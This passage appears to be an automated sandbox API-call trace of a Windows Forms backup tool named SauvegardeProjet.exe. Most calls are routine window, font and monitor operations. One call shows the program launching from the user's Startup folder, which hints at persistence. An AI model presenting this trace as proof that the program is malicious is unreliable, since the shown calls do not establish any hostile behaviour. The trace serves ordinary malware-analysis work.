dwExStyle=0x90000 | out: lpRect=0x52e324) returned 1 [0221.462] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.462] AdjustWindowRectEx (in: lpRect=0x52e07c, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x52e07c) returned 1 [0221.462] GetCursorPos (in: lpPoint=0x22ea174 | out: lpPoint=0x22ea174*(x=212, y=282)) returned 1 [0221.462] MonitorFromPoint (pt=0xd7, dwFlags=0x11d) returned 0x10001 [0221.462] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52df58 | out: lpmi=0x52df58) returned 1 [0221.462] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x250101e0 [0221.462] GetDeviceCaps (hdc=0x250101e0, index=12) returned 32 [0221.462] GetDeviceCaps (hdc=0x250101e0, index=14) returned 1 [0221.462] DeleteDC (hdc=0x250101e0) returned 1 [0221.463] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52dfac | out: lpmi=0x52dfac) returned 1 [0221.463] AdjustWindowRectEx (in: lpRect=0x52e15c, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x52e15c) returned 1 [0221.463] GetSystemMetrics (nIndex=34) returned 132 [0221.463] GetSystemMetrics (nIndex=35) returned 38 [0221.463] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.463] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.463] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.463] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.463] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.463] AdjustWindowRectEx (in: lpRect=0x52dfdc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52dfdc) returned 1 [0221.464] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.464] AdjustWindowRectEx (in: lpRect=0x52e304, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x52e304) returned 1 [0221.464] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.464] AdjustWindowRectEx (in: lpRect=0x52e144, dwStyle=0x562100c1, bMenu=0, dwExStyle=0x200 | out: lpRect=0x52e144) returned 1 [0221.464] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.464] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.464] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.464] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.464] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.464] AdjustWindowRectEx (in: lpRect=0x52dfdc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52dfdc) returned 1 [0221.464] GdipGetFamilyName (in: family=0x4d2f690, name=0x52dfa8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.464] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0221.465] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.465] CreateFontIndirectW (lplf=0x678a90) returned 0x260a01e0 [0221.465] CoTaskMemFree (pv=0x678a90) [0221.465] GetObjectW (in: h=0x260a01e0, c=92, pv=0x52df80 | out: pv=0x52df80) returned 92 [0221.465] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22ea5f8 | out: psizl=0x22ea5f8) returned 1 [0221.465] DeleteObject (ho=0x260a01e0) returned 1 [0221.465] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.465] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.465] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.465] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.466] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.466] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.466] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.466] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.466] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.466] AdjustWindowRectEx (in: lpRect=0x52dfdc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52dfdc) returned 1 [0221.466] GdipGetFamilyName (in: family=0x4d2f690, name=0x52dfa8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.466] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0221.466] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.466] CreateFontIndirectW (lplf=0x678a90) returned 0x270a01e0 [0221.466] CoTaskMemFree (pv=0x678a90) [0221.466] GetObjectW (in: h=0x270a01e0, c=92, pv=0x52df80 | out: pv=0x52df80) returned 92 [0221.466] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22ea808 | out: psizl=0x22ea808) returned 1 [0221.466] DeleteObject (ho=0x270a01e0) returned 1 [0221.467] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.467] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.467] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.467] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.467] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.467] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.467] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.467] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.467] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.468] AdjustWindowRectEx (in: lpRect=0x52dfdc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52dfdc) returned 1 [0221.468] GdipGetFamilyName (in: family=0x4d2f690, name=0x52dfa8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.468] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0221.468] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.468] CreateFontIndirectW (lplf=0x678a90) returned 0x280a01e0 [0221.468] CoTaskMemFree (pv=0x678a90) [0221.468] GetObjectW (in: h=0x280a01e0, c=92, pv=0x52df80 | out: pv=0x52df80) returned 92 [0221.468] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22eaa18 | out: psizl=0x22eaa18) returned 1 [0221.468] DeleteObject (ho=0x280a01e0) returned 1 [0221.468] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.468] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.469] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.469] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.469] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.469] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.469] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.469] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.469] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.469] AdjustWindowRectEx (in: lpRect=0x52dfdc, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52dfdc) returned 1 [0221.469] GdipGetFamilyName (in: family=0x4d2f690, name=0x52dfa8, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0221.469] GetDeviceCaps (hdc=0x300101e8, index=90) returned 96 [0221.469] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.469] CreateFontIndirectW (lplf=0x678a90) returned 0x290a01e0 [0221.469] CoTaskMemFree (pv=0x678a90) [0221.469] GetObjectW (in: h=0x290a01e0, c=92, pv=0x52df80 | out: pv=0x52df80) returned 92 [0221.470] GetTextExtentPoint32W (in: hdc=0x300101e8, lpString="0", c=1, psizl=0x22eac28 | out: psizl=0x22eac28) returned 1 [0221.470] DeleteObject (ho=0x290a01e0) returned 1 [0221.470] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.470] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.470] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.470] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.470] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.470] AdjustWindowRectEx (in: lpRect=0x52e31c, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e31c) returned 1 [0221.470] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73a30000 [0221.470] AdjustWindowRectEx (in: lpRect=0x52e180, dwStyle=0x5601000b, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e180) returned 1 [0221.539] GetCurrentActCtx (in: lphActCtx=0x52f014 | out: lphActCtx=0x52f014*=0x0) returned 1 [0221.540] ActivateActCtx (in: hActCtx=0x681314, lpCookie=0x52f024 | out: hActCtx=0x681314, lpCookie=0x52f024) returned 1 [0221.540] GetCurrentActCtx (in: lphActCtx=0x52ee34 | out: lphActCtx=0x52ee34*=0x681314) returned 1 [0221.540] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0221.543] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x70ee0000 [0221.546] AdjustWindowRectEx (in: lpRect=0x52ed98, dwStyle=0x2ca0000, bMenu=0, dwExStyle=0x90000 | out: lpRect=0x52ed98) returned 1 [0221.546] GetCursorPos (in: lpPoint=0x22eae98 | out: lpPoint=0x22eae98*(x=212, y=282)) returned 1 [0221.546] MonitorFromPoint (pt=0xd4, dwFlags=0x11a) returned 0x10001 [0221.547] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52ec74 | out: lpmi=0x52ec74) returned 1 [0221.547] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xc0101d4 [0221.547] GetDeviceCaps (hdc=0xc0101d4, index=12) returned 32 [0221.547] GetDeviceCaps (hdc=0xc0101d4, index=14) returned 1 [0221.547] DeleteDC (hdc=0xc0101d4) returned 1 [0221.547] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52ecc8 | out: lpmi=0x52ecc8) returned 1 [0221.547] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.547] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", lpWindowName="Sauvegarde d'un projet VB Net ou C#", dwStyle=0x2ca0000, X=317, Y=89, nWidth=806, nHeight=681, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x1016e [0221.547] SetWindowLongW (hWnd=0x1016e, nIndex=-4, dwNewLong=2008294877) returned 5703686 [0221.547] GetWindowLongW (hWnd=0x1016e, nIndex=-4) returned 2008294877 [0221.548] SetWindowLongW (hWnd=0x1016e, nIndex=-4, dwNewLong=5703886) returned 2008294877 [0221.548] GetWindowLongW (hWnd=0x1016e, nIndex=-4) returned 5703886 [0221.548] GetWindowLongW (hWnd=0x1016e, nIndex=-16) returned 113901568 [0221.548] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x81, wParam=0x0, lParam=0x52e8c8) returned 0x1 [0221.548] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x83, wParam=0x0, lParam=0x52e8b4) returned 0x0 [0221.550] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1, wParam=0x0, lParam=0x52e8c8) returned 0x0 [0221.550] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e600 | out: lpRect=0x52e600) returned 1 [0221.550] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52e600 | out: lpRect=0x52e600) returned 1 [0221.550] SetWindowTextW (hWnd=0x1016e, lpString="Sauvegarde d'un projet VB Net ou C#") returned 1 [0221.550] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xc, wParam=0x0, lParam=0x22cd84c) returned 0x1 [0221.552] SetLayeredWindowAttributes (hwnd=0x1016e, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0221.570] GetStartupInfoW (in: lpStartupInfo=0x22eb21c | out: lpStartupInfo=0x22eb21c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0221.571] GetParent (hWnd=0x1016e) returned 0x0 [0221.571] GetStockObject (i=5) returned 0x1900015 [0221.571] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.571] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.572] RegisterClassW (lpWndClass=0x52ed14) returned 0xc124 [0221.572] CoTaskMemFree (pv=0x678a90) [0221.572] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.572] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10170 [0221.572] SetWindowLongW (hWnd=0x10170, nIndex=-4, dwNewLong=2008294877) returned 5703926 [0221.572] GetWindowLongW (hWnd=0x10170, nIndex=-4) returned 2008294877 [0221.572] SetWindowLongW (hWnd=0x10170, nIndex=-4, dwNewLong=5703966) returned 2008294877 [0221.572] GetWindowLongW (hWnd=0x10170, nIndex=-4) returned 5703966 [0221.572] GetWindowLongW (hWnd=0x10170, nIndex=-16) returned 79691776 [0221.572] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x24, wParam=0x0, lParam=0x52e8fc) returned 0x0 [0221.572] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x81, wParam=0x0, lParam=0x52e8f0) returned 0x1 [0221.573] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x83, wParam=0x0, lParam=0x52e8dc) returned 0x0 [0221.573] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1, wParam=0x0, lParam=0x52e8f0) returned 0x0 [0221.573] SetWindowLongW (hWnd=0x1016e, nIndex=-8, dwNewLong=65904) returned 0 [0221.574] GetSystemMetrics (nIndex=49) returned 16 [0221.574] GetSystemMetrics (nIndex=50) returned 16 [0221.574] CreateIconFromResourceEx (presbits=0x22eb58c, dwResSize=0x368, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x20175 [0221.575] SendMessageW (hWnd=0x1016e, Msg=0x80, wParam=0x0, lParam=0x20175) returned 0x0 [0221.575] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x80, wParam=0x0, lParam=0x20175) returned 0x0 [0221.575] SendMessageW (hWnd=0x1016e, Msg=0x80, wParam=0x1, lParam=0x30171) returned 0x0 [0221.575] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x80, wParam=0x1, lParam=0x30171) returned 0x0 [0221.579] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x20175 [0221.582] GetSystemMenu (hWnd=0x1016e, bRevert=0) returned 0x1017d [0221.583] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ee44 | out: lpwndpl=0x52ee44) returned 1 [0221.583] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0221.583] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0221.583] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0221.583] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0221.583] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0221.583] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ee88 | out: lpRect=0x52ee88) returned 1 [0221.583] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ede8 | out: lpRect=0x52ede8) returned 1 [0221.583] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ede8 | out: lpRect=0x52ede8) returned 1 [0221.583] SetWindowLongW (hWnd=0x1016e, nIndex=-8, dwNewLong=65904) returned 65904 [0221.584] SendMessageW (hWnd=0x10170, Msg=0x80, wParam=0x1, lParam=0x30171) returned 0x0 [0221.584] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x80, wParam=0x1, lParam=0x30171) returned 0x0 [0221.584] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433c678) returned 0x0 [0221.584] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433c690) returned 0x0 [0221.585] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.585] GetWindowLongW (hWnd=0x1016e, nIndex=-16) returned 113901568 [0221.585] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0221.585] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.585] GetSystemMetrics (nIndex=42) returned 0 [0221.586] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ed50, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.586] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ed50) returned 0x23 [0221.586] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0221.586] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.586] GetSystemMetrics (nIndex=42) returned 0 [0221.586] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52ed50, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.586] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52ed50) returned 0x23 [0221.586] GetCursorPos (in: lpPoint=0x22ebb60 | out: lpPoint=0x22ebb60*(x=212, y=282)) returned 1 [0221.586] MonitorFromPoint (pt=0xd6, dwFlags=0x119) returned 0x10001 [0221.586] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52ecb4 | out: lpmi=0x52ecb4) returned 1 [0221.586] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x130101d0 [0221.586] GetDeviceCaps (hdc=0x130101d0, index=12) returned 32 [0221.586] GetDeviceCaps (hdc=0x130101d0, index=14) returned 1 [0221.586] DeleteDC (hdc=0x130101d0) returned 1 [0221.587] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x52ed08 | out: lpmi=0x52ed08) returned 1 [0221.587] GetWindowLongW (hWnd=0x1016e, nIndex=-16) returned 113901568 [0221.587] GetWindowLongW (hWnd=0x1016e, nIndex=-20) returned 590080 [0221.587] SetWindowLongW (hWnd=0x1016e, nIndex=-16, dwNewLong=46792704) returned 113901568 [0221.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x7c, wParam=0xfffffff0, lParam=0x52eddc) returned 0x0 [0221.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x7d, wParam=0xfffffff0, lParam=0x52eddc) returned 0x0 [0221.587] SetWindowLongW (hWnd=0x1016e, nIndex=-20, dwNewLong=589824) returned 590080 [0221.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x7c, wParam=0xffffffec, lParam=0x52eddc) returned 0x0 [0221.587] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x7d, wParam=0xffffffec, lParam=0x52eddc) returned 0x0 [0221.588] SetWindowPos (hWnd=0x1016e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0221.588] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52edfc) returned 0x0 [0221.588] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x83, wParam=0x1, lParam=0x52edd4) returned 0x0 [0221.588] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ebac | out: lpwndpl=0x52ebac) returned 1 [0221.588] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52edfc) returned 0x0 [0221.588] GetClientRect (in: hWnd=0x1016e, lpRect=0x52eb5c | out: lpRect=0x52eb5c) returned 1 [0221.588] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52eb5c | out: lpRect=0x52eb5c) returned 1 [0221.589] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x83, wParam=0x1, lParam=0x52e9e0) returned 0x0 [0221.589] RedrawWindow (hWnd=0x1016e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.590] GetSystemMenu (hWnd=0x1016e, bRevert=0) returned 0x1017d [0221.590] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ee34 | out: lpwndpl=0x52ee34) returned 1 [0221.590] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0221.590] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0221.590] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0221.590] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0221.590] EnableMenuItem (hMenu=0x1017d, uIDEnableItem=0xf000, uEnable=0x1) returned 1 [0221.590] ShowWindow (hWnd=0x1016e, nCmdShow=5) returned 0 [0221.590] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.590] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.590] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.590] GetClassInfoW (in: hInstance=0x0, lpClassName="STATIC", lpWndClass=0x22ebea8 | out: lpWndClass=0x22ebea8) returned 1 [0221.591] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.591] CoTaskMemAlloc (cb=0x58) returned 0x6585a0 [0221.591] RegisterClassW (lpWndClass=0x52e9b8) returned 0xc125 [0221.591] CoTaskMemFree (pv=0x6585a0) [0221.592] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.592] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Arborescence du projet", dwStyle=0x5600000d, X=12, Y=213, nWidth=139, nHeight=13, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10172 [0221.592] SetWindowLongW (hWnd=0x10172, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.592] GetWindowLongW (hWnd=0x10172, nIndex=-4) returned 1894758601 [0221.592] SetWindowLongW (hWnd=0x10172, nIndex=-4, dwNewLong=5704046) returned 1894758601 [0221.592] GetWindowLongW (hWnd=0x10172, nIndex=-4) returned 5704046 [0221.592] GetWindowLongW (hWnd=0x10172, nIndex=-16) returned 1174405133 [0221.592] GetWindowLongW (hWnd=0x10172, nIndex=-12) returned 0 [0221.592] SetWindowLongW (hWnd=0x10172, nIndex=-12, dwNewLong=65906) returned 0 [0221.593] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.594] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.594] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.594] GetWindow (hWnd=0x10172, uCmd=0x3) returned 0x0 [0221.594] GetClientRect (in: hWnd=0x10172, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.594] GetWindowRect (in: hWnd=0x10172, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.594] GetParent (hWnd=0x10172) returned 0x1016e [0221.594] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.595] SetWindowTextW (hWnd=0x10172, lpString="Arborescence du projet") returned 1 [0221.595] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0xc, wParam=0x0, lParam=0x22cd7b8) returned 0x1 [0221.595] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x5, wParam=0x0, lParam=0xd008b) returned 0x0 [0221.595] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x3, wParam=0x0, lParam=0xd5000c) returned 0x0 [0221.595] GetClientRect (in: hWnd=0x10172, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.595] GetWindowRect (in: hWnd=0x10172, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.595] GetParent (hWnd=0x10172) returned 0x1016e [0221.595] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.595] SendMessageW (hWnd=0x10172, Msg=0x2210, wParam=0x1720001, lParam=0x10172) returned 0x0 [0221.595] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x2210, wParam=0x1720001, lParam=0x10172) returned 0x0 [0221.595] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10172, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.595] GetParent (hWnd=0x10172) returned 0x1016e [0221.595] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.596] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.596] GetClassInfoW (in: hInstance=0x0, lpClassName="LISTBOX", lpWndClass=0x22ec1e4 | out: lpWndClass=0x22ec1e4) returned 1 [0221.596] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.596] CoTaskMemAlloc (cb=0x5a) returned 0x678a90 [0221.596] RegisterClassW (lpWndClass=0x52e9b8) returned 0xc127 [0221.596] CoTaskMemFree (pv=0x678a90) 